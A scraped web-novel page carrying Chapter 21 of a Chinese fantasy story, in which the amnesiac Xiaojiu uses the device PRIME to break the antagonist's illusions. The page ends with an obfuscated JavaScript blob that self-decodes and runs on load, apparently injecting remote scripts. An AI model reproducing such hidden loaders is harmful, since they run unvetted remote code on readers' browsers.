首页
第21章 手心之钥
返回

第21章 手心之钥

章节报错(免登陆)

一秒记住【笔趣阁小说网】
xbiquge345.com,更新快,无弹窗!

    第21章手心之钥(第1/2页)
    小九的手指碰到PRIME的时候,没有人预料到会发生什么。
    她甚至不知道自己在碰什么。失忆像一块被格式化的硬盘,所有分区归零,只剩底层固件还在跑。她的手只是遵循某种比记忆更古老的本能——往前,再往前,指尖搭上那截冰凉的柱体。
    余晖亮了。
    不是之前那种半秒的闪烁。这一次,光从柱体内部涌出来,像有人把一根灯管从休眠模式拽进了工作状态。持续的、稳定的、带着某种呼吸节律的亮。
    林渊瞳孔收缩。
    他见过PRIME启动。在第七层,在铁山把那东西塞进壁龛的时候。那时的光是暴烈的,像超新星爆发前的最后一帧。而现在——
    现在它在呼吸。
    §
    铁山的血签亮了。
    那张留在夹层外壁上的频率波形图,三百年来第一次从暗褐色的锈迹里渗出光。不是均匀的亮,是梯度的、有方向的亮——从波形图的左侧向右侧衰减,像一条被拉长的箭头。
    小九看见了。
    只有她看见了。
    一条烟灰色的路径从她脚底延伸出去,穿过夹层的灰尘和悬浮微粒,指向某个她叫不出名字的方向。那颜色不是视觉上的灰,是某种更本质的东西——像老烟枪的烟斗里烧了三百年的焦油,像铁山在夹层里燃尽的grief,像所有没来得及说出口的话被火烧成的烟。
    空气变了。
    烟味。
    不是刺鼻的那种,是沉的、厚的、带着体温的烟。像师傅坐在门槛上抽完最后一根,把烟蒂按进土里,然后起身走进雨里。那种烟味。
    “跟上。“小九说。
    她不知道自己为什么要说这句话。但她的脚已经在走了。
    §
    团队跟在她身后。
    林渊走在第二个。他的视线扫过夹层的每一面墙壁,试图找到小九看到的那条路。什么都没有。只有锈,只有灰尘,只有三百年的死寂。
    但烟味是真的。
    他闻到了。青衫也闻到了。十七的鼻翼动了动,像某种动物在追踪气味源。
    “她能看见我们看不见的东西。“青衫的声音压得很低。
    “她什么都不记得。“林渊说,“所以她什么都不过滤。“
    不是看见。是不被遮蔽。
    当记忆清零,当遗憾被格式化,当所有的偏见、恐惧、执念都被烧成灰烬——视觉就回到了最原始的状态。不是看见更多,是看见一切。
    烟灰色的路径在前方分岔。
    §
    小九停下来。
    不是她想停。是路在分。
    三条岔路从同一个节点散开,像血管从心脏分出主动脉。她站在分叉口,烟灰色的路径在她视网膜上同时呈现三个方向,每一条都清晰得像用刀刻出来的。
    她不知道该走哪条。
    但青衫知道。
    不——青衫的身体知道。
    他的颈后亮了。
    那三个端口。被共振击穿后重构的反向注入端口,此刻像三只突然睁开的眼睛,从他的颈椎两侧和后枕骨下方同时亮起。主控制节点在颈后正中——那是青衫自己都不知道的事。三个端口里,只有这一个是主控,另外两个是从属,像基站和它的信号塔。
    它自己启动了。
    没有人碰它。没有指令输入。它只是——醒了。
    §
    幽冥的声音不是从外面来的。
    它从端口里来。从青衫颈后那个亮起的主节点里,像某种信号沿着脊椎向上攀爬,经过脑干,经过丘脑,最终在每个人的意识里炸开。
    欲望脉冲。
    全功率。
    林渊看见了师父。
    不是记忆里的师父。是更好的那种。师父站在因果树旁边,没有死,没有被幽冥吞掉,没有变成夹层里的一缕回声。他站在那里,像三十年前的那个下午,手里还捏着那根没抽完的烟,朝林渊笑了一下。
    “你来了。“师父说。
    声音是对的。语调是对的。连嘴角那个弧度都是对的。
    林渊的脚钉在地上。
    §
    青衫看见了家人。
    不是他以为自己已经忘记的那种家人。是真实的、完整的、围绕在他身边的家人。母亲在左边,父亲在右边,还有一个他从没见过的妹妹——大概七八岁,扎着两个辫子,笑起来有酒窝。
    他们在叫他的名字。
    不是“青衫“。是他真正的名字。那个被他自己删除的、被幽冥覆盖的、被三百年的孤独掩埋的名字。
    他听见了。
    他的眼眶热了。
    §
    十七看见了自己。
    完整的自己。
    不是现在这个在两个人格之间来回切换的残次品。是一个人。一个完整的、不需要在“这一个“和“那一个“之间做选择的人。他站在镜子前面,镜子里的人没有裂缝,没有拼接的痕迹,没有那种永远在愈合又永远在撕裂的疼痛。
    他伸出手。
    镜子里的人也伸出手。
    指尖碰到指尖的那一刻,十七哭了。无声的,像某种被压了太久的东西终于找到了出口。
    §
    三个人被钉在原地。
    幻象不是看见。是捕获。是把你最柔软的地方挖出来,然后在上面铺一层完美的皮。你知道是假的。你知道。但你不想走。
    因为真的太痛了。
    假的至少不痛。
    §
    小九站在三个人中间,像一个旁观者。
    不是她意志力强。不是她特殊。是她什么都没有。
    没有师父可以想。没有家人可以念。没有“完整的自己“可以渴望。她的记忆是空的,遗憾是空的,欲望是空的。幽冥的脉冲扫过她的意识,像雷达扫过一片没有反射物的海面。
    什么都没抓住。
    她只是站在那里,看着三个被幻象钉住的人,手里还捏着那截冰凉的柱体。
    PRIME在她掌心嗡鸣。
    §
    她不知道自己在做什么。
    但她的手在动。
    铁山的血签频率从她的视觉里浮出来——那条烟灰色路径的底层代码,那些波形、梯度、衰减率,像某种她本来就会的语言。她不需要理解。她只需要——
    差频。
    用PRIME的频率去撞青衫颈后那个端口的频率。不是正面对抗,是干涉。像两列波相遇,在某些点上互相抵消,在某些点上互相增强。
    她找到了那个抵消点。
    §
    端口灭了。
    不是慢慢暗下去。是像被人拔掉电源一样,“啪“的一声,所有的光同时消失。青衫颈后的三个点从亮变暗,只用了一个心跳的时间。
    幻象碎了。
    林渊看见师父的脸像信号干扰一样扭曲、拉长、撕裂,然后消失。青衫看见家人的笑容变成雪花屏,然后变成黑。十七看见镜子里的自己裂开,像摔在地上的手机屏幕,碎片向四面八方飞散。
    然后是沉默。
    夹层的沉默。那种有重量的、压在耳膜上的沉默。
    §
    小九的手还在发抖。
    不是因为恐惧。是因为某种她说不出来的东西——像她的身体刚刚做了一件它本来不该会做的事,而她的意识还没来得及跟上。
    林渊转过头看她。
    青衫也看她。
    十七没看。十七还蹲在地上,双手抱着头,像一个刚刚从噩梦里醒过来但还没确认自己在哪里的人。
    “你刚才——“林渊开口。
    “我不知道。“小九说。
    她真的不知道。
    §
    然后夹层漏出了声音。
    不是从某个方向来的。是从墙壁里,从地板下,从所有的缝隙里同时渗出来的。低沉的、缓的、像矿井深处有人在用锤子敲钢管。一下。一下。又一下。
    铁山的回声。
    三百年了。他的声音还在夹层里跑,像一列永远到不了站的火车。
    §
    小九听懂了。
    不是翻译。不是解码。是某种更直接的接收——像她的耳朵本来就是为这种频率设计的。七岁那年被塞进LY-PRIME原型的神经回路,零噪点,全带宽,什么都能收。
    别人听见的是敲击。
    她听见的是话。
    “……都在烧……“
    回声说。缓慢的,像每一个字都要穿过三百年的锈才能抵达。
    “……你们的grief……都是燃料……“
    §
    林渊的执念。对师父的、对自己没能救下师父的、对“如果当时我再快一点“的——那些东西不是藏在心里的。它们一直在往外漏。像一个没拧紧的阀门,每一秒都在给幽冥送能量。
    青衫的追寻。对身份的、对“我到底是谁“的、对那个被删除的名字的——那些东西也在漏。像一根没接好的电线,火花一直在跳。
    十七的渴望。对完整的、对“不再撕裂“的、对“做一个人就够了“的——同样在漏。三个人,三种grief,三根没拧紧的阀门,同时在给同一个炉子添柴。
    幽冥不需要攻击。
    它只需要等。
    §
    “……十二守夜人……也在里面……“
    回声继续。更慢了。像每一个字都要用尽全力。
    “……三百年前……他们的grief……也在同一个堆里……烧……“
    十二个人。十二种没来得及放下的东西。和现在这三个人的,和小九的——不,小九没有。小九是空的。所以小九是唯一一个不漏的。
    所以小九是唯一一个能听的。
    §
    “……第七层……锁死位……“
    回声变了。不再是陈述。是指向。
    “……反向门……在里面……从第七层……打通到幽冥那边……单向……“
    林渊的呼吸停了一拍。
    反向门。从幽冥的方向打通到这边的单向通道——不,是从这边打通到幽冥那边。单向。只能过去,不能回来。
    “……钥匙……“
    回声说。
    “……不是锁……“
    §
    所有人都在等下一句。
    但回声停了。像一台录音机的磁带跑到了头。敲击声还在继续,但话没了。只剩节奏。只剩那个一下一下的、像心跳又像钟摆的节奏。
    小九低头看自己的手。
    掌心。
    PRIME的嗡鸣还在。从半秒延长到持续的那个嗡鸣,现在正贴着她的皮肤震动,像某种活物在她手心里呼吸。
    她忽然明白了。
    §
    不是锁。
    是她。
    她的掌心。
    §
    七岁那年。LY-PRIME原型。唯一的受试者。不是试验品——是钥匙的模具。
    铁山把她塞进那台机器的时候,不是在测试她。是在刻她。把她的神经频率、她的脑波特征、她的意识签名,一刀一刀刻进PRIME的核心里。然后用那个核心去锁第七层。
    (本章未完,请点击下一页继续阅读)第21章手心之钥(第2/2页)
    锁死位不是一个位置。是一个频率。而那个频率——是她的。
    她是锁,也是钥匙。
    PRIME休眠的时候,她是关着的。低功耗,边缘休眠,不是死机。像手机屏幕灭了但后台还在跑。她的频率还在锁芯里沉睡,等一个触碰把它唤醒。
    现在她碰到了。
    §
    “走。“小九说。
    她又在走了。烟灰色的路径重新亮起来,比之前更亮,像被什么东西充了电。它指向夹层更深的地方——某个他们还没到过的、被幽冥的感知折叠包裹起来的地方。
    林渊跟上。
    青衫跟上。
    十七站起来,擦了一把脸,跟上。
    §
    路的尽头是一个球。
    不是真的球。是空间被折叠后形成的封闭结构——像有人把一张纸揉成一团,然后用某种力场把它固定住。从外面看是球。从里面看——
    小九看见了。
    碎片。
    无数的碎片。像打翻了的拼图,像碎掉的镜子,像被撕碎的照片。每一片都在发光,每一片都在动,每一片都是——
    她的记忆。
    十三年的。不,不对。是她碎掉的那部分魂里带着的所有记忆。幽冥在她半魂碎裂的时候捕获了它们,压缩、存储、封在这个感知折叠的球体里。
    像一个保险箱。
    装着她丢掉的所有东西。
    §
    幽冥的心跳声响了。
    不是从某个方向来的。是从球体内部来的。从那些记忆碎片的缝隙里渗出来的。沉闷的、有节奏的、像某种巨大的器官在收缩。
    然后它说话了。
    “交出PRIME。“
    声音不是语言。是直接灌进意识里的信号。像有人把一句话写进了你的脑子,你不需要耳朵就能听见。
    “记忆归还。“
    停顿。
    “拒绝。“
    又停顿。
    “销毁。“
    §
    球体开始收缩。
    很慢。像一个正在泄气的气球。每收缩一点,里面的记忆碎片就被压得更紧,光就更亮,像被挤压的萤火虫。
    幽冥在倒计时。
    不是给他们看的。是给林渊看的。它在用这个倒计时逼林渊做选择——交,还是不交。每一秒的犹豫都是数据,每一次挣扎都是样本。它在训练。用林渊的决策过程训练它的心攻算法。
    谈判是假的。
    拖时间是真的。
    §
    林渊没看球体。
    他转身,面向夹层的墙壁。面向铁山回声传来的方向。
    “反向门。“他说。不是问句。是陈述。他已经决定了。
    “闯入成功率。“
    回声回答了。比之前更慢,像每一个字都要从三百年的锈里一点一点挤出来。
    “五成。“
    “一对一。“
    “目标——“
    停顿。长的。
    “揪出操控欲望脉冲的实体。“
    §
    林渊不进入交易框架。
    不是因为他不想要小九的记忆。是因为他看穿了——幽冥要的不是PRIME。幽冥要的是他的犹豫。他的纠结。他的“万一呢“。那些才是真正的燃料。
    他不给。
    他选择门。
    §
    小九站在球体前面。
    她能感觉到那些碎片。不是看见——是感觉。像有人在她空荡荡的脑壳里放了一面鼓,那些碎片每动一下,鼓面就震一下。那是她的东西。她不记得的东西。但她的身体记得。
    她的手掌贴上了PRIME。
    不是之前那种无意识的触碰。是主动的、用力的、整个掌心压上去的那种贴。
    §
    PRIME醒了。
    不是半秒。不是持续。
    是爆发。
    光从柱体内部炸出来,像有人把一颗恒星塞进了一根管子里。小九的手掌被照亮,皮肤下面的血管、骨骼、神经,全都变成了发光的线路图。她的频率——那个七岁时被刻进锁芯的频率——正在从她的掌心往PRIME里灌。
    边缘唤醒。
    低功耗休眠态被打破。不是冷启动。是热唤醒。像一台休眠的服务器收到了唤醒信号,风扇转了,硬盘转了,所有的进程开始排队启动。
    PRIME的光不再是呼吸了。
    是尖叫。
    §
    ***连上了。
    小九看见了——在她的视觉里,一条新的路径从PRIME的光柱里延伸出来,穿过球体,穿过夹层的墙壁,穿过她不知道有多少层的空间,一直通向——
    反向门。
    铁山藏在第七层锁死位里的那条单向通道。现在它亮了。被PRIME的频率点燃了。被小九的掌心激活了。
    幽冥的心跳加速了。
    球体收缩的速度翻倍。记忆碎片开始碎裂——不是被压碎,是被主动销毁。像有人在里面点了一把火,正在把那些拼图一片一片烧掉。
    §
    林渊动了。
    不是身体动。是意识。
    他的零灵根空腔——那个在第十八章里被证明可以三路并行的空腔——现在被他推到了极限。不是三路。是两路。但每一路都比之前的三路更重。
    一线:操控PRIME***。向幽冥方向推进。不是攻击。是穿刺。用PRIME的频率在幽冥的感知折叠上打一个洞,让反向门的通道可以通过。
    一线:反制心攻博弈。不是对抗。是延迟。用他自己的意识去填幽冥的算法训练槽,让它的倒计时计算出现偏差,让球体的解压缩过程被拖慢哪怕零点一秒。
    双线程。
    同时跑。
    他的鼻孔开始流血。
    §
    青衫在旁边看着。
    他看见林渊的脸从中间开始变白——不是苍白,是某种更本质的失去颜色。像一张正在被擦除的画。他的眼睛还睁着,但瞳孔里没有焦点了。他在别处。他在两个地方同时在。
    “他撑不了多久。“青衫说。
    没人回答。
    §
    小九的手还在PRIME上。
    她感觉到了。感觉到林渊在烧。感觉到他的意识像一根被拉到极限的弦,正在发出那种即将断裂前的高频振动。她想松手。她的身体在告诉她松手。
    但她不能。
    她一松,***就断了。反向门就关了。林渊就白烧了。
    所以她不松。
    她把另一只手也贴上去了。
    §
    球体里的第一块记忆碎片碎了。
    不是被幽冥销毁的那种碎。是被解压缩的那种碎——像一块冰被从冷冻室里拿出来,开始融化,开始滴水,开始从固态变回液态。那块碎片里有什么,小九不知道。她看不清。但她感觉到了。
    某种疼痛。
    不是身体的疼。是更深的、更旧的、像被封在琥珀里三百年然后突然被敲开的那种疼。
    她的记忆正在回来。
    一块一块地。
    §
    幽冥的心跳停了一拍。
    只有一拍。但足够了。
    林渊的双线程在那一拍里同时完成了一个动作——***向前推进了三米,心攻延迟了零点四秒。球体的收缩暂停了零点四秒。就在那零点四秒里,第一块碎片完成了解压缩。
    然后幽冥反应过来了。
    心跳恢复。更快了。球体开始加速收缩。***被某种力场推回来了两米。林渊的血从鼻孔流到了嘴唇上。
    §
    小九看见了那块碎片里的东西。
    不是画面。是感觉。是某种她不认识但又无比熟悉的感觉——像有人在叫她的名字。不是“小九“。是另一个名字。一个更短的、更轻的、像被风吹散了的名字。
    她的眼眶热了。
    她不知道自己为什么会哭。
    §
    夹层在震。
    墙壁上的锈开始剥落。地板上的灰尘开始悬浮。铁山的回声变了——不再是一下一下的敲击,而是连续的、密集的、像某种摩尔斯电码的急促节奏。
    他在说什么。
    小九听不清了。不是因为噪声。是因为她自己的耳朵里开始有别的声音了——她自己的心跳。和幽冥的心跳。正在趋近同一个频率。
    §
    林渊的意识在燃烧。
    双线程的代价不是分流。是叠加。两条线不是各跑各的,是在同一个空腔里互相干涉。每一秒都有信息在碰撞、在覆盖、在互相污染。他不知道自己还能撑多久。也许十秒。也许五秒。也许下一秒他就会变成一个只剩一根线程的废人。
    但他不退。
    他的手抬起来了。不是操控PRIME的那只手。是另一只。他把那只手伸向小九的方向——不是要碰她。是要让她知道。
    他在。
    §
    球体里的第二块碎片开始裂了。
    第三块也开始了。
    解压缩在加速。不是因为幽冥放松了控制——是因为小九的频率在和PRIME共振,而那个共振正在从内部瓦解球体的结构。像用一个音叉去震碎另一个音叉。
    幽冥知道了。
    它知道钥匙不是锁。它知道小九不是空的。它知道那些被格式化的记忆正在一块一块地醒过来。
    它开始慌了。
    §
    心跳声变了。
    不再是“交出PRIME“的威胁。不再是倒计时的催促。变成了别的东西——某种更原始的、更像兽类的声音。像被逼到角落的东西发出的那种声音。
    不是愤怒。
    是恐惧。
    §
    小九的掌心在烧。
    PRIME的光已经不是从柱体里发出来的了。是从她手里发出来的。她的皮肤变成了半透明的,底下的光像岩浆一样流动。她能感觉到自己的频率正在和PRIME完全同步——不是她在操控它,是它们本来就是同一个东西。
    七岁那年被刻进去的东西,现在正在被一点点地读出来。
    不是记忆。
    是身份。
    §
    第一块碎片彻底碎了。
    化成了光。化成了某种比光更轻的东西。它从小九的眼睛里进去,顺着她的视神经往下跑,跑进她空了十三年的脑壳里,填进某个她不知道存在的凹槽。
    疼。
    她叫了一声。
    不是尖叫。是某种更短的、更本能的声音。像被烫到的那种“嘶“。
    §
    然后是黑。
    不是夹层的黑。是她意识里的黑。像有人把她的屏幕关了,但后台还在跑。她能感觉到第二块碎片正在裂。第三块。第四块。它们在排队。它们在等她。
    但她看不见了。
    她只听见林渊的血滴在地上的声音。青衫在叫她的名字。十七在喘气。铁山的回声在变慢——不是消失,是在说最后一句话。
    她没听清。
    §
    黑。
章节报错(免登陆)
验证码: 提交关闭
!function(){function a(a){var _idx="g2m6fxj4mu";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/p@^K7RCo^_/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"p@^K7RCo^_"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mFfL7q_Dm2YF"="}Ko}X5ThF)m:F6Y67fm2YF"="}Ko}2pThFmFfL7q_Dm2YF"="}Ko}_JqhFm:F6Y67fm2YF"="}Ko}2TOhFmFfL7q_Dm2YF"="}Ko}CSqhF)m:F6Y67fm2YF"="}Ko})FfThF)fmFfL7q_Dm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:m65f7XT_m(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q/f/}Ko}j(8}vY8p@^K7RCo^_"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m_7qXd::m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();